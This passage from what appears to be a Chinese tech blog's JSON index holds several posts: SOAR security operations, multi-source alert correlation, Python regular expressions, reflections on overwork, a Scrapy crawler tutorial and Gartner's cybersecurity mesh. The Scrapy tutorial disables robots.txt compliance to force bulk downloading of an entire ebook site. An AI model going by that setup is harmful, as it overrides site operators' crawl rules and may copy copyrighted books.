安全运营支撑单位应优化安全监控手段，按月开展告警分析，优化安全设备和平台告警规则，持续提升安全告警准确率。\n(四) 安全运营支撑单位应持续关注内外部威胁情报，实时发布威胁预警，提供处置建议和技术支撑，跟踪问题解决,安全运营维护单位应及时评估威胁影响，根据处置建议制定处置方案并实施。\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2023-10-18-soar%E5%AE%89%E5%85%A8%E4%BA%8B%E4%BB%B6%E7%BC%96%E6%8E%92%E8%87%AA%E5%8A%A8%E5%8C%96%E5%93%8D%E5%BA%94-%E5%AE%89%E5%85%A8%E8%BF%90%E8%90%A5%E5%AE%9E%E6%88%98/","summary":"\u003cp\u003eSOAR是最近几年安全市场上最火热的词汇之一。各个安全产商都先后推出了相应的产品，但大部分都用得不是很理想。SOAR不同与传统的安全设备，买来后实施部署就完事，SOAR是一个安全运营系统，是实现安全运营过程中人、工具、流程的有效协同，提高安全运营效率的平台。核心在于运营，在运营的过程中不断结合自身企业的安全情况，对接设备、优化剧本流程、制定相应的制度来发挥SOAR安全事件编排自动化响应系统的最大的效果。在安全运营实战过程中人员、工具、流程、制度一个都不能少。本文介绍如何通过SOAR安全事件编排自动化响应进行实战化的安全运营。\u003c/p\u003e","title":"SOAR安全事件编排自动化响应-安全运营实战"},{"content":"\n随着数字化浪潮的蓬勃兴起，网络安全问题日趋凸显，面对指数级增长的威胁和告警，传统的安全防御往往力不从心。网内业务逻辑不规范、安全设备技术不成熟都会导致安全设备触发告警。如何在海量众多安全告警中识别出真正的网络安全攻击事件成为安全运营的痛点问题。传统的分析手段，没有从威胁来源和攻击者视角来分析问题，从黑客攻击杀伤链来看，检测点和分析手段严重不足。因此需要从多源安全信息数据融合分析，实现网络攻击精准研判和处置。\n从黑客攻击的视角，攻击手段多样，往往是多点突破，层层渗透。因此需要根据纵深防御的思路，在网络的出入口、在应用层、在主机层都要部署相应的安全防护检测设备。如：在企业互联网边界出口部署全流量监测设备，分析获取隐藏在流量中的恶意行为；在应用层部署WAF，分析应用层的攻击行为；在主机层面部署EDR，分析主机层面的异常行为。以攻击者的视角从网络攻击路径出发，对网络层、应用层、主机层的多源安全告警进行联动分析，精准确定安全攻击事件。\n具体分析方法如下： 多源数据融合分析精准研判思路\n1、多源数据采集。对全流量、WAF、主机安全等检测设备的告警数据进行采集，从告警数据中分析出攻击源IP、目的IP、源端口、目的端口、告警内容、告警级别、载荷信息等有效信息。并对告警数据过滤降噪，首先将源IP、目的IP、源端口、目的端口、告警内容相同的重复告警，以及告警级别为提醒的告警过滤掉。对剩下的告警进行针对性分析，针对告警级别为严重或致命的告警，根据告警内容和载荷信息筛选出潜在的针对性攻击。\n2、多源数据关联分析。总结人工研判经验，制定分析模型。如在不同层面的安全设备告警日志中发现相同的攻击源IP和目的IP在同一个时间段都产生了安全告警，说明既在网络侧发现了攻击行为又在应用侧和主机侧发现了攻击行为，通过不同层面告警数据的关联分析和交叉验证，可以确定该攻击是属于高可信的安全攻击事件。\n3、封堵处置，对攻击源进行封堵。为了避免错误的封堵影响业务，对源IP结合资产台账、黑白名单、情报数据等进行分析过滤，确定不会影响到业务后进行封堵处置。\n安全以“检测”为始，以“处置”为终。在攻击者对目标系统造成最终损害之前，制止损害或降低损失是信息安全体系的最终防线，也是及时响应的目标。以攻击者的视角从网络攻击的路径出发，对网络层、应用层、主机层的多源安全告警进行关联分析，精准确定安全攻击事件。在实战中，可通过以数据和情报驱动，采用自适应安全架构，嵌入工具、流程和策略来对抗新一代威胁。\n博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2023-10-07-%E5%91%8A%E8%AD%A6%E7%B9%81%E6%9D%82%E8%BF%B7%E4%BA%BA%E7%9C%BC%E5%A4%9A%E6%BA%90%E5%88%86%E6%9E%90%E8%A7%81%E6%9C%88%E6%98%8E/","summary":"\u003cp\u003e\u003cimg alt=\"告警繁杂迷人眼\" loading=\"lazy\" src=\"http://image2.ishareread.com/images/2023/20231007/1-%E5%91%8A%E8%AD%A6%E7%B9%81%E6%9D%82%E8%BF%B7%E4%BA%BA%E7%9C%BC.png\"\u003e\u003c/p\u003e\n\u003cp\u003e随着数字化浪潮的蓬勃兴起，网络安全问题日趋凸显，面对指数级增长的威胁和告警，传统的安全防御往往力不从心。网内业务逻辑不规范、安全设备技术不成熟都会导致安全设备触发告警。如何在海量众多安全告警中识别出真正的网络安全攻击事件成为安全运营的痛点问题。传统的分析手段，没有从威胁来源和攻击者视角来分析问题，从黑客攻击杀伤链来看，检测点和分析手段严重不足。因此需要从\u003cstrong\u003e多源安全信息数据融合分析，实现网络攻击精准研判和处置\u003c/strong\u003e。\u003c/p\u003e","title":"告警繁杂迷人眼，多源分析见月明"},{"content":"我们在做机器学习项目的时候，很大部分的精力都在做数据的整理，不管是用爬虫在网上爬取数据还是对已有的数据进行整理，往往需要对一些特定的字符串进行处理，正则表达式则是进行数据处理的利器。\n一、什么是正则表达式 正则表达式，又称规则表达式,（Regular Expression，在代码中常简写为regex、regexp或RE），是一种文本模式，包括普通字符（例如，a 到 z 之间的字母）和特殊字符（称为\u0026quot;元字符\u0026quot;），是计算机科学的一个概念。正则表达式使用单个字符串来描述、匹配一系列匹配某个句法规则的字符串，通常被用来检索、替换那些符合某个模式（规则）的文本。正则表达式是对字符串操作的一种逻辑公式，就是用事先定义好的一些特定字符、及这些特定字符的组合，组成一个“规则字符串”，这个“规则字符串”用来表达对字符串的一种过滤逻辑。\n简单来说，正则表达式就是使用：字符串定义规则，并通过规则去验证字符串是否匹配。 比如，验证一个字符串是否是符合条件的电子邮箱地址，只需要配置好正则规则，即可匹配任意邮箱。\n比如通过正则规则： (^[\\w-]+(.[\\w-]+)*@[\\w-]+(.[\\w-]+)+$) 即可匹配一个字符串是否是标准邮箱格式。但如果不使用正则，使用if else来对字符串做判断就非常困难了。\n二、Python中如何使用正则表达式 正则表达式的使用分两部分，一是编写模式（规则）文本，也就是正则表达式；二是通过具体的编程语言来使用正则表达式进行使用，在Python语言中通过re 模块使 Python 语言拥有全部的正则表达式功能。\n1、正则表达式模式的编写 模式字符串使用特殊的语法来表示一个正则表达，由一些普通字符和一些元字符（metacharacters）组成。\n字母和数字表示他们自身。一个正则表达式模式中的字母和数字匹配同样的字符串。 多数字母和数字前加一个反斜杠时会拥有不同的含义。 标点符号只有被转义时才匹配自身，否则它们表示特殊的含义。 反斜杠本身需要使用反斜杠转义。\n普通字符包括大小写的字母和数字，而元字符则具有特殊的含义，在最简单的情况下，一个正则表达式看上去就是一个普通的字符串。例如，正则表达式\u0026quot;xiejava\u0026quot;中没有包含任何元字符，它可以匹配\u0026quot;xiejava\u0026quot;和\u0026quot;xiejava1018\u0026quot;等字符串，但是不能匹配\u0026quot;XieJava\u0026quot;。\n在刚刚我们只是进行了基础的字符串匹配，正则最强大的功能在于元字符匹配规则，常见的元字符匹配规则如下：\n单字符匹配： 字符 功能 . 匹配任意1个字符(除了\\n) , .匹配点本身 [ ] 匹配[]中列举的字符 \\d 匹配任意数字，等价于 [0-9] \\D 匹配任意非数字 \\s 匹配任意空白字符，即空格、tab键，等价于 [\\t\\n\\r\\f] \\S 匹配任意非空字符 \\w 匹配单词字符，即a-z、A-Z、0-9、 \\W 匹配非单词字符 数量匹配： 字符 功能 * 匹配前一个规则的字符出现0至无数次 + 匹配前一个规则的字符出现1至无数次 ？ 匹配前一个规则的字符出现0次或1次 {m} 匹配前一个规则的字符出现m次 {m,} 匹配前一个规则的字符出现最少m次 {m,n} 匹配前一个规则的字符出现m到n次 边界匹配： 字符 功能 ^ 匹配字符串开头 $ 匹配字符串结尾 \\b 匹配一个单词的边界 \\B 匹配非单词边界 分组匹配： 字符 功能 | 匹配左右任意一个表达式 （） 将括号中字符作为一个分组 示例： 匹配账号，只能由字母和数字组成，长度限制6到10位 规则为： [0-9a-zA-Z]{6, 10}$\n匹配QQ号，要求纯数字，长度4-10，第一位不为0 规则为：[1-9][0-9]{4, 10} [1-9]匹配第一位，[0-9]匹配后面4到10位\n匹配邮箱地址，只允许qq、163、189这三种邮箱地址 规则为：[a-zA-Z0-9_.]+@[qq|163|189]+[.a-zA-Z]+\n2、Python中re模块的基础使用 Python中re模块常用的正则表达式包括以下四个主要方法：\n使用match()进行准确匹配 re.match 尝试从字符串的起始位置匹配一个模式，如果不是起始位置匹配成功的话，match() 就返回 none。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 import re account_pattern=\u0026#39;^[0-9a-zA-Z]{6,9}$\u0026#39; account_str1=\u0026#39;xiejava1018\u0026#39; account_str2=\u0026#39;xiejava\u0026#39; account_str3=\u0026#39;xie\u0026#39; result1=re.match(account_pattern,account_str1) print(result1) result2=re.match(account_pattern,account_str2) print(result2) result3=re.match(account_pattern,account_str3) print(result3) 运行结果为：\n1 2 3 None \u0026lt;re.Match object; span=(0, 7), match=\u0026#39;xiejava\u0026#39;\u0026gt; None 匹配成功 re.match 方法返回一个匹配的对象，否则返回 None。 我们可以使用 group(num) 或 groups() 匹配对象函数来获取匹配表达式。\n1 2 if result2: print(result2.group()) 运行结果为：\n1 xiejava 使用search()首次匹配查找 match()方法是从字符串的开头开始匹配，一旦起始位置不匹配，match() 就返回 none，整个匹配就失败了，它更适合用来检验某个字符串是否符合某个正则表达式的规则。常用来做格式的校验。如要实现在一段文本中查找符合正则表达式的字符串，可以用re.search()，它扫描整个字符串并返回第一个成功的匹配。 1 2 3 4 5 6 7 8 9 10 qq_pattern = \u0026#39;[1-9][0-9]{4,10}\u0026#39; qq_str1=\u0026#39;我的QQ号是:4002692和3641250\u0026#39; result_qq_match=re.match(qq_pattern,qq_str1) print(result_qq_match) result_qq_search=re.search(qq_pattern,qq_str1) print(result_qq_search) if result_qq_search: print(result_qq_search.group()) 运行结果：\n1 2 3 None \u0026lt;re.Match object; span=(7, 14), match=\u0026#39;4002692\u0026#39;\u0026gt; 4002692 在这可以看出，match()因为是起始位置匹配所以QQ号4002692没有匹配上，而search()它是扫描整个字符串找到第一个匹配成功的就返回了，实际上在这个例子中还有个3641250的QQ号。如果要找到所有的匹配就要用到re.findall()方法了。\n使用findall()所有匹配查找 findall()在字符串中找到正则表达式所匹配的所有子串，并返回一个列表，如果有多个匹配模式，则返回元组列表，如果没有找到匹配的，则返回空列表。 注意： match 和 search 是匹配一次 findall 匹配所有。 1 2 result_qq_findall=re.findall(qq_pattern,qq_str1) print(result_qq_findall) 运行结果：\n1 [\u0026#39;4002692\u0026#39;, \u0026#39;3641250\u0026#39;] 可以看到通过re.findall()方法匹配到了两个QQ号。\n使用sub()匹配替换 在做数据处理的时候，经常碰到的场景是找到某个匹配项，替换成一个新的字符串。这时就可以用到re.sub()进行匹配替换了。 1 2 3 4 5 6 email_pattern=\u0026#39;[a-zA-Z0-9_\\.]+@[qq|163|189]+[\\.a-zA-Z]+\u0026#39; email_str1=\u0026#39;我的email是：xiejava@qq.com、xiejava1018@163.com、xiejava@189.com、xiejava@sohu.com\u0026#39; result_email_findall=re.findall(email_pattern,email_str1) print(result_email_findall) email_str2=re.sub(\u0026#39;[a-zA-Z0-9_\\.]+@\u0026#39;,\u0026#39;****@\u0026#39;,email_str1) print(email_str2) 运行结果：\n1 2 [\u0026#39;xiejava@qq.com\u0026#39;, \u0026#39;xiejava1018@163.com\u0026#39;, \u0026#39;xiejava@189.com\u0026#39;] 我的email是：****@qq.com、****@163.com、****@189.com、****@sohu.com 在这里可以看到，我们通过re.findall()匹配到了qq、163、189的邮箱。通过re.sub()将所有的邮箱的账号匹配后替换成了****进行脱敏处理。\n正则表达式可以包含一些可选标志修饰符来控制匹配的模式。修饰符被指定为一个可选的标志。多个标志可以通过按位 OR(|) 它们来指定。如 re.I | re.M 被设置成 I 和 M 标志：\n修饰符 描述 re.I 使匹配对大小写不敏感 re.L 做本地化识别（locale-aware）匹配 re.M 多行匹配，影响 ^ 和 $ re.S 使 . 匹配包括换行在内的所有字符 re.U 根据Unicode字符集解析字符。这个标志影响 \\w, \\W, \\b, \\B. re.X 该标志通过给予你更灵活的格式以便你将正则表达式写得更易于理解。 使用实例如下：\n1 2 3 4 5 6 7 match_pattern=\u0026#39;xiejava\u0026#39; account_str1=\u0026#39;XieJava is xiejava\u0026#39; result1=re.match(match_pattern,account_str1) print(result1) result2=re.match(match_pattern,account_str1,re.I) print(result2) 运行结果：\n1 2 None \u0026lt;re.Match object; span=(0, 7), match=\u0026#39;XieJava\u0026#39;\u0026gt; 可以看到在没有指定re.I的时候没有匹配到XieJava，指定re.I后使匹配对大小写不敏感，可以匹配到Xiejava\n三、正则表达式的应用 给定一个正则表达式和另一个字符串，我们可以达到如下的目的：\n判断给定的字符串是否符合正则表达式的过滤逻辑（称作“匹配”） 应用场景为格式效验，如身份证、Email、手机号码的数据效验等。\n可以通过正则表达式，从字符串中获取我们想要的特定部分 应用场景如：爬虫程序爬取数据时进行信息的提取，从文本中提取特定的部分。\n可以通过正则表示式进行查找替换，将字符串中符合匹配条件的项替换成特定的字符 应用场景如：机器学习中的数据清洗整理，将某些数据进行查找替换等。\n博客地址：http://xiejava.ishareread.com/\n关注微信公众号,一起学习、成长！\n","permalink":"http://xiejava.ishareread.com/posts/2023-10-06-python%E4%B8%8E%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F/","summary":"\u003cp\u003e我们在做机器学习项目的时候，很大部分的精力都在做数据的整理，不管是用爬虫在网上爬取数据还是对已有的数据进行整理，往往需要对一些特定的字符串进行处理，正则表达式则是进行数据处理的利器。\u003c/p\u003e","title":"Python与正则表达式"},{"content":"对于了解IT这个行业的人来说，这个行业的内卷程度超乎了大家的想像，工作真的很累，加班已经成为整个行业的标签。不管是去哪里笔记本电脑都得随身带，就像随时待命的特种兵，接到命令随时马上要展开战斗。有的时候在系统出事或者需求比较紧急的时候，无论哪里都会成为工作场所，可能旅游景点、可能是商场、可能是高铁地铁上、也有可能是路边……\n在线系统出bug了他们就是救火员！想必很多人都经历过系统上线后匆忙处理bug，这种时候，就不分周末还是工作日了，更不管白天还是黑夜干就对了！有网友分享了这“经典”的一幕，一天晚上9点多，北京地铁某号线上，这位网友刚下站就看见一个小伙子蹲坐在一个隐蔽的角落，旁边地上放着双肩包，屏幕亮着，小伙正在专心地敲代码。\n作为IT从业者深刻感受到行业之卷，而对于运营商中搞网络安全的从业人员来说那更是“卷王之王”。各种实战演练活动、各种重保活动、安全运营监控值守、各种突发事件应急处置等。连续加班了好几个月，到了国庆假期还得要带上笔记本电脑，生怕有电话进来，基本上没有什么生活质量可言。这段时间，每天早上起床的第一件事就是问自己“这就是我想要的生活吗？”，为此我在思考和寻找工作的意义。\n人的本性是趋利避害的，工作这事，本身是违背人本性的——无论什么工作，只要是投入劳力与时间换取物质资料，但在这个时代，工作又是人类最高效的自我满足手段——物质和精神，都是如此。\n在《商业模式新生代-个人篇》介绍了工作的四种意义：\n工作是谋生手段 它意味着为了收入而工作，不涉及多少个人因素或满足感。工作即一种实用性活动，就是说完成某事的主要目的是为了得到另一件事。当然作为谋生手段的工作也能产生宝贵的技能和满足感，但其主要目的还是为工作者提供生存基础以追求生活中其他方面的意识。\n工作是发展方向 将工作视为职业，这种观点的前提是工作者的动力源自对成功、成就和身份地位的渴望。此类工作者对工作的态度并不是热情眷恋，而是强调努力工作对自我的回馈，对职业型工作者来说，工作是一种创造、定义、表达、证明和美化自我的方式。将工作视为发展方向是实现人生意义和获得满足感的一个重要来源。\n工作是使命召唤 “天职”这个词源自“天将降大任于斯人也”这一理念。这种“天意”可以是外在动力，如上帝的旨意或社区的需要；也可以是内在动力，如需要向世人展现的天赋使命。这种工作强调的是“个人的义务、责任或使命”。在那个激情燃烧的时代，为社会主义事业奋斗终生是我们的使命召唤；在百年未有之大变局的新时代，突破高科技技术封锁，实现中华民族的伟大复兴是我们的使命召唤。\n工作是自我实现 它一方面体现了工作高度强调兴趣驱动的特征，另一方面淡化了咄咄逼人的“天命”特征。追求自我实现的工作者会选择不同寻常的职业道路，这些选择强调的是个人兴趣而非经济回报或名声威望。这种思考方式也是获得人生意义的一个重要来源。视工作为“自我实现”的人相对来说工作生活更为平衡，他们可以在工作中实现更多的人生意义，同时也不会牺牲家庭欢乐和其他方面的兴趣。\n工作对不同的人来说具有不同的意义，工作的意义在很大程度上决定着“我是谁”这个命题的答案。\n工作只是生活的手段，享受生活才是目的 工作是为了更好的生活，它的本质是交换，我们付出时间、经验，换取一部分我们想要的生活自由。我们已经很幸运，大部分的人都能有一份安稳的工作作为谋生手段。不要在谋生的地方找意义，生活才是实现意义的地方。\n工作之外的你，才是真正不可替代的 我们这一生扮演的很多角色都是不可替代的，贴心的朋友、孝顺的子女、操心的家长。唯独工作是可以被替代的，如果你不干这些工作，依然有会有人干。与其把时间都投入到工作中内卷、焦虑、失眠，不如多花时间陪伴家人和朋友。 下班后该玩儿就玩儿，就陪家人就陪家人，把精力分散，而不是用下班时间去焦虑工作，还把这种内耗带到家里。你去运动、去做饭、去旅游、去亲近自然、去看一看花开日落、去体会一下风土人情。\n博客地址：http://xiejava.ishareread.com/\n关注微信公众号,一起学习、成长！\n","permalink":"http://xiejava.ishareread.com/posts/2023-09-30-%E8%BF%9E%E7%BB%AD%E5%8A%A0%E7%8F%AD%E5%87%A0%E4%B8%AA%E6%9C%88%E6%94%BE%E5%81%87%E8%BF%98%E8%A6%81%E5%B8%A6%E7%94%B5%E8%84%91%E6%88%91%E5%9C%A8%E6%80%9D%E8%80%83%E5%B7%A5%E4%BD%9C%E7%9A%84%E6%84%8F%E4%B9%89/","summary":"\u003cp\u003e对于了解IT这个行业的人来说，这个行业的内卷程度超乎了大家的想像，工作真的很累，加班已经成为整个行业的标签。不管是去哪里笔记本电脑都得随身带，就像随时待命的特种兵，接到命令随时马上要展开战斗。有的时候在系统出事或者需求比较紧急的时候，无论哪里都会成为工作场所，可能旅游景点、可能是商场、可能是高铁地铁上、也有可能是路边……\u003c/p\u003e","title":"连续加班几个月，放假还要带电脑，我在思考工作的意义"},{"content":"Python实现爬虫是很容易的，一般来说就是获取目标网站的页面，对目标页面的分析、解析、识别，提取有用的信息，然后该入库的入库，该下载的下载。以前写过一篇文章《Python爬虫获取电子书资源实战》，以一个电子书的网站为例来实现python爬虫获取电子书资源。爬取整站的电子书资源，按目录保存到本地，并形成索引文件方便查找。这次介绍通过Scrapy爬虫框架来实现同样的功能。\n一、Scrapy简介 Scrapy 是用 Python 实现的一个为了爬取网站数据、提取结构性数据而编写的应用框架。 Scrapy 常应用在包括数据挖掘，信息处理或存储历史数据等一系列的程序中。 通常我们可以很简单的通过 Scrapy 框架实现一个爬虫，抓取指定网站的内容或图片。\nScrapy Engine(引擎)：负责Spider、ItemPipeline、Downloader、Scheduler中间的通讯，信号、数据传递等。 Scheduler(调度器)：它负责接受引擎发送过来的Request请求，并按照一定的方式进行整理排列，入队，当引擎需要时，交还给引擎。 Downloader(下载器）：负责下载Scrapy Engine(引擎)发送的所有Requests请求，并将其获取到的Responses交还给Scrapy Engine(引擎)，由引擎交给Spider来处理， Spider（爬虫）：它负责处理所有Responses,从中分析提取数据，获取Item字段需要的数据，并将需要跟进的URL提交给引擎，再次进入Scheduler(调度器). Item Pipeline(管道)：它负责处理Spider中获取到的Item，并进行进行后期处理（详细分析、过滤、存储等）的地方。 Downloader Middlewares（下载中间件）：可以当作是一个可以自定义扩展下载功能的组件。 Spider Middlewares（Spider中间件）：可以理解为是一个可以自定扩展和操作引擎和Spider中间通信的功能组件（比如进入Spider的Responses;和从Spider出去的Requests） 二、Scrapy实战 虽然用python写一个爬虫也不是很费事，但是有了Scrapy以后让你实现爬虫更简单，更加通用，现在我们还是以《Python爬虫获取电子书资源实战》中的例子，爬取目标网站kgbook.com。也可以对比看一下通过Scrapy爬虫框架实现相同的功能有多么的方便。\n1、Scrapy安装 首先通过 pip 安装 Scrapy 框架\n1 pip install Scrapy 2、创建Scrapy项目工程 创建getbooks的项目\n1 scrapy startproject getbooks 创建一个getkgbook的爬虫，目标网站kgbook.com\n1 scrapy genspider getkgbook kgbook.com 项目的结构如下图所示\n3、实现Scrapy的爬虫代码 爬数据 主要的爬虫逻辑实现代码都在getkgbook.py中，在这里实现目录的爬取、翻页、进入到详情页，并解析详情页的数据。 getkgbook.py\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 import os import re import scrapy from getbooks.items import KgbookItem class GetkgbookSpider(scrapy.Spider): name = \u0026#34;getkgbook\u0026#34; #爬虫的名称 allowed_domains = [\u0026#34;kgbook.com\u0026#34;] #爬取的网站 start_urls = [\u0026#34;https://kgbook.com\u0026#34;] #爬取的首页 def parse(self, response): categorys = response.xpath(\u0026#39;//div[@id=\u0026#34;category\u0026#34;]/div/ul/li/a\u0026#39;) for category in categorys: category_url = category.xpath(\u0026#39;./@href\u0026#39;).extract_first() url=response.urljoin(category_url) #爬取进入到目录页 yield response.follow(url, self.parse_booklist) #解析目录页 def parse_booklist(self,response): book_list_select=response.css(\u0026#39;.channel-item h3.list-title a\u0026#39;) #获取书籍列表 for book_info_select in book_list_select: book_name=book_info_select.css(\u0026#39;::text\u0026#39;).extract_first() book_detail_url=book_info_select.css(\u0026#39;::attr(href)\u0026#39;).extract_first() book_detail_url=response.urljoin(book_detail_url) print(book_name,book_detail_url) yield scrapy.Request(url=book_detail_url, callback=self.pase_bookdetail) #翻页 nextpage_url = response.xpath(\u0026#39;//div[@class=\u0026#34;pagenavi\u0026#34;]/a[contains(text(), \u0026#34;下一页\u0026#34;)]/@href\u0026#39;).extract_first() if nextpage_url: yield response.follow(nextpage_url, self.parse_booklist) #解析详情页 def pase_bookdetail(self,response): navegate=response.xpath(\u0026#39;//nav[@id=\u0026#34;location\u0026#34;]/a\u0026#39;) if len(navegate)\u0026gt;1: book_category=navegate[1].xpath(\u0026#39;./text()\u0026#39;).extract_first() book_name=response.css(\u0026#39;.news_title::text\u0026#39;).extract_first() book_author=response.xpath(\u0026#39;//div[@id=\u0026#34;news_details\u0026#34;]/ul/li[contains(text(),\u0026#34;作者\u0026#34;)]/text()\u0026#39;).extract_first() pattern=re.compile(\u0026#39;mobi|epub|azw3|pdf\u0026#39;,re.I) #解析书籍的类型 book_download_urls=response.xpath(\u0026#39;//div[@id=\u0026#34;introduction\u0026#34;]/a[@class=\u0026#34;button\u0026#34;]\u0026#39;) for book_download_urlinfo in book_download_urls: book_type=book_download_urlinfo.re(pattern) if book_type: book_download_url=book_download_urlinfo.xpath(\u0026#39;./@href\u0026#39;).extract_first() #获取要下载的书籍的名称、作者、要保存的路径、下载地址 item=KgbookItem() item[\u0026#39;book_name\u0026#39;]=book_name item[\u0026#39;book_author\u0026#39;]=book_author item[\u0026#39;book_file\u0026#39;]=os.path.join(book_category,book_name+\u0026#34;.\u0026#34;+str(book_type[0]).lower()) item[\u0026#39;book_url\u0026#39;]=book_download_url print(book_name,book_author,book_download_url,item[\u0026#39;book_file\u0026#39;]) return item 在这里我们通过xpath解析器和css解析器来解析获取网页中的有用的信息。如提取a 标签的href的信息 ，提取书籍的名称、作者、下载链接等信息。\n保存数据 item.py 在item.py中定义了KgbookItem类，Item 定义结构化数据字段，用来保存爬取到的数据，有点像 Python 中的 dict，但是提供了一些额外的保护减少错误。在这里定义了book_name、book_author、book_file、book_url这些信息都会通过爬虫提取后保存用来输出到文件或数据库等。\n1 2 3 4 5 6 7 import scrapy class KgbookItem(scrapy.Item): book_name=scrapy.Field() book_author=scrapy.Field() book_file=scrapy.Field() book_url=scrapy.Field() 下载数据 通过pipelines定义文件下载的管道类 pipelines.py\n1 2 3 4 5 6 7 8 9 10 11 from scrapy import item, Request from scrapy.pipelines.files import FilesPipeline class KgBookFilePipeline(FilesPipeline): def get_media_requests(self,item,info): yield Request(item[\u0026#39;book_url\u0026#39;],meta={\u0026#39;book_file\u0026#39;:item[\u0026#39;book_file\u0026#39;]}) def file_path(self, request, response=None, info=None): file_name=request.meta.get(\u0026#39;book_file\u0026#39;) return file_name 这里实际上只做两件事，一是get_media_requests下载文件，二是组织文件要保存的路径。会通过相应的下载中间件将文件下载并保存在需要保存的目录。这里我们规划的保存目录是书籍目录\\书名.类型。 还需要在settings.py中定义下载后保存的路径\n1 2 3 4 5 6 # 保存书籍的路径 FILES_STORE=\u0026#39;./books\u0026#39; # 定义自定义下载的管道 ITEM_PIPELINES = { \u0026#34;getbooks.pipelines.KgBookFilePipeline\u0026#34;: 300, } 加入以下定义，强制爬取、下载，并忽略301,302重定向\n1 2 3 4 5 6 # Obey robots.txt rules ROBOTSTXT_OBEY = False MEDIA_ALLOW_REDIRECTS = True HTTPERROR_ALLOWED_CODES = [301,302] 至此，就通过Scrapy爬虫框架实现了一个爬虫。 运行效果 执行 scrapy crawl getkgbook -o books.json 可以看到控制台打印出来的日志，爬虫开始默默的勤勤恳恳的爬取了。 爬取的结果保存到了books.json中 要下载的书籍也保存到了books下相应的目录下了 三、注意事项 有可能在文件下载的时候并没有把文件下载下来，原因是文件下载路径有重定向。\n1 2 3 4 2023-09-12 22:25:38 [scrapy.core.engine] DEBUG: Crawled (301) \u0026lt;GET https://kgbook.com/e/DownSys/GetDown?classid=24\u0026amp;id=471\u0026amp;pathid=0\u0026gt; (referer: None) 2023-09-12 22:25:38 [scrapy.pipelines.files] WARNING: File (code: 301): Error downloading file from \u0026lt;GET https://kgbook.com/e/DownSys/GetDown?classid=24\u0026amp;id=471\u0026amp;pathid=0\u0026gt; referred in \u0026lt;None\u0026gt; 2023-09-12 22:25:38 [scrapy.core.engine] DEBUG: Crawled (301) \u0026lt;GET https://kgbook.com/e/DownSys/GetDown?classid=24\u0026amp;id=4742\u0026amp;pathid=0\u0026gt; (referer: None) 2023-09-12 22:25:38 [scrapy.pipelines.files] WARNING: File (code: 301): Error downloading file from \u0026lt;GET https://kgbook.com/e/DownSys/GetDown?classid=24\u0026amp;id=4742\u0026amp;pathid=0\u0026gt; referred in \u0026lt;None\u0026gt; 需要在settings.py中加入\n1 2 3 MEDIA_ALLOW_REDIRECTS = True #直接下载 HTTPERROR_ALLOWED_CODES = [301,302] #忽略重定向的报错信息 现在我们通过一个Scrapy爬虫框架实例实现了网站的爬取，重代码量上看比python直接写少了很多，通用性也更强了。通过管道不仅仅可以将数据保持至json还可以保存到Excel、数据库等。\n全部源代码见 https://github.com/xiejava1018/Scrapybooks\n博客地址：http://xiejava.ishareread.com/\n关注微信公众号,一起学习、成长！\n","permalink":"http://xiejava.ishareread.com/posts/2023-09-12-scrapy%E7%88%AC%E8%99%AB%E6%A1%86%E6%9E%B6%E5%AE%9E%E6%88%98/","summary":"\u003cp\u003ePython实现爬虫是很容易的，一般来说就是获取目标网站的页面，对目标页面的分析、解析、识别，提取有用的信息，然后该入库的入库，该下载的下载。以前写过一篇文章\u003ca href=\"http://xiejava.ishareread.com/posts/eab21fe5/\"\u003e《Python爬虫获取电子书资源实战》\u003c/a\u003e，以一个电子书的网站为例来实现python爬虫获取电子书资源。爬取整站的电子书资源，按目录保存到本地，并形成索引文件方便查找。这次介绍通过Scrapy爬虫框架来实现同样的功能。\u003c/p\u003e","title":"Scrapy爬虫框架实战"},{"content":"“网络安全网格（CyberSecurity Mesh）”是 Gartner 提出的网络安全技术发展新趋势，近两年连续入选其年度重要战略技术趋势研究报告，成为当前网络安全领域流行的热词，受到网络安全从业者的高度关注。\n一、概念产生的背景 如今，由于现在平均每个企业在自己的网络上部署了多达45个安全解决方案，使得任何形式的集中管理都几乎无法实现。更糟糕的是，检测和响应网络事件需要在其中的19个工具之间进行协调，导致每次设备升级时都需要不断管理和重新配置。 仅仅依靠连接不同安全技术的变通方法是不够的，企业需要一个全面覆盖、深度集成和动态协同的“网络安全网格平台”，提供集中管理和可见性，支持在一个庞大的解决方案生态系统中协同运行，自动适应网络中的动态变化。\n因此有了网络安全网格这个概念。\nGartner 发布的《2021 年重要战略技术趋势》（Top Strategic Technology Trends for 2021）中描述了网络安全网格的概念：“网络安全网格是一种分布式架构方法，能够实现可扩展、灵活和可靠的网络安全控制。现在许多资产存在于传统安全边界之外，网络安全网格本质上允许围绕人或事物的身份定义安全边界。通过集中策略编排和分布策略执行来实现更加模块化、更加快速响应的安全防护。”\n在 Gartner 发布的《2022 年重要战略技术趋势 》（Top Strategic Technology Trends for 2022）中对网络安全网格概念有了进一步的说明：“数字业务资产分布在云和数据中心，基于边界的传统、分散的安全方法使组织容易遭受攻击。网络安全网格架构提供一种基于身份的可组合安全方法，以创建可扩展和可互操作的服务。通用的集成结构可以保护任务组织的任何资产，对于使用这样的一体化安全工具的组织来说，可将单项安全事件的财务影响平均减少 90%。”\n从上述 Gartner 报告的描述中可以看出，网络安全网格是一种安全架构方法或者策略，而不是一种定义明确的架构或标准化的技术方法，更不是某种产品，其目的是找到能够应对不断发展的业务系统以及网络环境演变所带来的安全挑战的新方法，提供比传统物理边界防护更强大、更灵活和可扩展的安全能力。通过连接、集成和协同管理各种网络安全控制系统、服务和数据来提供综合安全保护的框架。它致力于构建一个灵活、弹性和动态的安全环境，以适应日益复杂和多样化的网络安全威胁。\n二、架构与实现 Gartner 提出了网络安全网格的具体实现框架，即网络安全网格架构（CyberSecurity Mesh Architecture，CSMA）。这是一种分布式安全服务的协作框架，提供安全分析与情报、统一策略管理、整合操控界面和分布式身份结构等 